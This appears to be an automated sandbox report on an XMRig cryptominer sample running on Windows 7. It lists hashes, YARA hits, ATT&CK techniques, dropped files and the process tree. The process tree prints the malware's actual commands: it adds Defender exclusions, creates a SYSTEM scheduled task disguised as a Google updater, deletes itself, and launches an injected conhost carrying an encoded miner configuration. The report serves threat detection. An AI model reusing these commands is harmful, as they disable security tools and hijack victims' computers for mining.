xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
479s
max time network
1788s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

Yvdp8t5knpQz7sFB.exeupdater.execonhost.exe

description	pid	process	target process
PID 2520 created 1196	2520	Yvdp8t5knpQz7sFB.exe	Explorer.EXE
PID 2520 created 1196	2520	Yvdp8t5knpQz7sFB.exe	Explorer.EXE
PID 2520 created 1196	2520	Yvdp8t5knpQz7sFB.exe	Explorer.EXE
PID 2520 created 1196	2520	Yvdp8t5knpQz7sFB.exe	Explorer.EXE
PID 2944 created 1196	2944	updater.exe	Explorer.EXE
PID 2944 created 1196	2944	updater.exe	Explorer.EXE
PID 2944 created 1196	2944	updater.exe	Explorer.EXE
PID 2792 created 1196	2792	conhost.exe	Explorer.EXE
PID 2944 created 1196	2944	updater.exe	Explorer.EXE
PID 2944 created 1196	2944	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

Processes:

resource	yara_rule
behavioral16/memory/3004-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral16/memory/3004-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1016 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2944 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

1852 taskeng.exe

pid	process
1016	cmd.exe

pid	process
2944	updater.exe

pid	process
1852	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral16/memory/3004-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral16/memory/3004-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2944 set thread context of 2792	2944	updater.exe	conhost.exe
PID 2944 set thread context of 3004	2944	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

Yvdp8t5knpQz7sFB.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2828 schtasks.exe
320 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1536 WMIC.exe

pid	process
2828	schtasks.exe
320	schtasks.exe

pid	process
1536	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0ab2182b34fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

Yvdp8t5knpQz7sFB.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2520	Yvdp8t5knpQz7sFB.exe
2520	Yvdp8t5knpQz7sFB.exe
2932	powershell.exe
2520	Yvdp8t5knpQz7sFB.exe
2520	Yvdp8t5knpQz7sFB.exe
2764	powershell.exe
2520	Yvdp8t5knpQz7sFB.exe
2520	Yvdp8t5knpQz7sFB.exe
2520	Yvdp8t5knpQz7sFB.exe
2520	Yvdp8t5knpQz7sFB.exe
2672	powershell.exe
2944	updater.exe
2944	updater.exe
1676	powershell.exe
2944	updater.exe
2944	updater.exe
1456	powershell.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
2792	conhost.exe
2792	conhost.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	2944	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: SeLockMemoryPrivilege	3004	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2764 wrote to memory of 2828	2764	powershell.exe	schtasks.exe
PID 2764 wrote to memory of 2828	2764	powershell.exe	schtasks.exe
PID 2764 wrote to memory of 2828	2764	powershell.exe	schtasks.exe
PID 1016 wrote to memory of 2664	1016	cmd.exe	choice.exe
PID 1016 wrote to memory of 2664	1016	cmd.exe	choice.exe
PID 1016 wrote to memory of 2664	1016	cmd.exe	choice.exe
PID 2672 wrote to memory of 2780	2672	powershell.exe	schtasks.exe
PID 2672 wrote to memory of 2780	2672	powershell.exe	schtasks.exe
PID 2672 wrote to memory of 2780	2672	powershell.exe	schtasks.exe
PID 1852 wrote to memory of 2944	1852	taskeng.exe	updater.exe
PID 1852 wrote to memory of 2944	1852	taskeng.exe	updater.exe
PID 1852 wrote to memory of 2944	1852	taskeng.exe	updater.exe
PID 1456 wrote to memory of 320	1456	powershell.exe	schtasks.exe
PID 1456 wrote to memory of 320	1456	powershell.exe	schtasks.exe
PID 1456 wrote to memory of 320	1456	powershell.exe	schtasks.exe
PID 2944 wrote to memory of 2792	2944	updater.exe	conhost.exe
PID 2000 wrote to memory of 1536	2000	cmd.exe	WMIC.exe
PID 2000 wrote to memory of 1536	2000	cmd.exe	WMIC.exe
PID 2000 wrote to memory of 1536	2000	cmd.exe	WMIC.exe
PID 2944 wrote to memory of 3004	2944	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2764

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2828

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:320

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1908

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2792

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3004

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2664

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2780

C:\Windows\system32\taskeng.exe
taskeng.exe {0C6865F7-4823-470F-8ECE-3B14D3CB1317} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1852

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1536

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
1.8MB

MD5
3cec34f7410bcfc8d6332983765d04fb

SHA1
b4f55fb9d130be719000dd6afb904cd80fd57e36

SHA256
3e7cd3ec7f10dd4958ab9d874fad2768d54b05d205f9742b163130286a6882d4

SHA512
862d5dbf338fdd2e065b0c19afef4e37f8fab88cf25ebf91d85b60f275297204bf124080674c2b43cf75eb19242adfd900dad79bb9a42410d974b4ffc1064177

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
724KB

MD5
baab0b948c310eadac04e8a4f52103e7

SHA1
679a3bfb9aa7f6a48a9d8c65b0b69ac7eaeb84a0

SHA256
27bf7d22535ee2a5c212bdc6ece5f6f56de515a3af136243fdf7ec3ca4090b99

SHA512
eba800045e4e53fec652a50f3c93bf26c53d4b68b364ec82b49dbc5228bcafbf1e74c9e0cb53aa40b8981669eef584165d64afc88ce5b01887a8c48d0167e55d

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HO1H5K6SM0NBPGXLE06B.temp
Filesize
7KB

MD5
4ea0ab1a940cabf34ebe8adcb70822db

SHA1
72932292af31ae0ca5d3f008f26a6bce8656d58a

SHA256
4bd001d3ca46eb608c26bf642c8ebd973c4055d0b66985a70c5655e4dd2fb519

SHA512
582d2204b0ee59b4da7c6a10d941c9d30760870f866d0971221e23289f9ad9eb0e4de32d59b1420bc04e26bf7ddd7389c8d5d8b47caed44615204b3533c58287

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1456-57-0x0000000001240000-0x00000000012C0000-memory.dmp

Filesize
512KB

Download
memory/1456-53-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1456-54-0x0000000001240000-0x00000000012C0000-memory.dmp

Filesize
512KB

Download
memory/1456-58-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1456-55-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1456-56-0x0000000001240000-0x00000000012C0000-memory.dmp

Filesize
512KB

Download
memory/1676-49-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1676-50-0x00000000015A0000-0x0000000001620000-memory.dmp

Filesize
512KB

Download
memory/1676-48-0x00000000015A0000-0x0000000001620000-memory.dmp

Filesize
512KB

Download
memory/1676-47-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1676-51-0x00000000015A0000-0x0000000001620000-memory.dmp

Filesize
512KB

Download
memory/1676-52-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2520-29-0x000000013FEB0000-0x00000001400C1000-memory.dmp

Filesize
2.1MB

Download
memory/2520-0-0x000000013FEB0000-0x00000001400C1000-memory.dmp

Filesize
2.1MB

Download
memory/2672-35-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2672-37-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2672-36-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2672-39-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2672-41-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2672-40-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2672-38-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2764-22-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2764-25-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2764-26-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2764-27-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-24-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2764-23-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-20-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-21-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2764-19-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download
memory/2792-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2792-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2932-9-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2932-11-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2932-12-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2932-10-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2932-7-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2932-8-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2932-6-0x00000000026A0000-0x00000000026A8000-memory.dmp

Filesize
32KB

Download
memory/2932-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2932-13-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
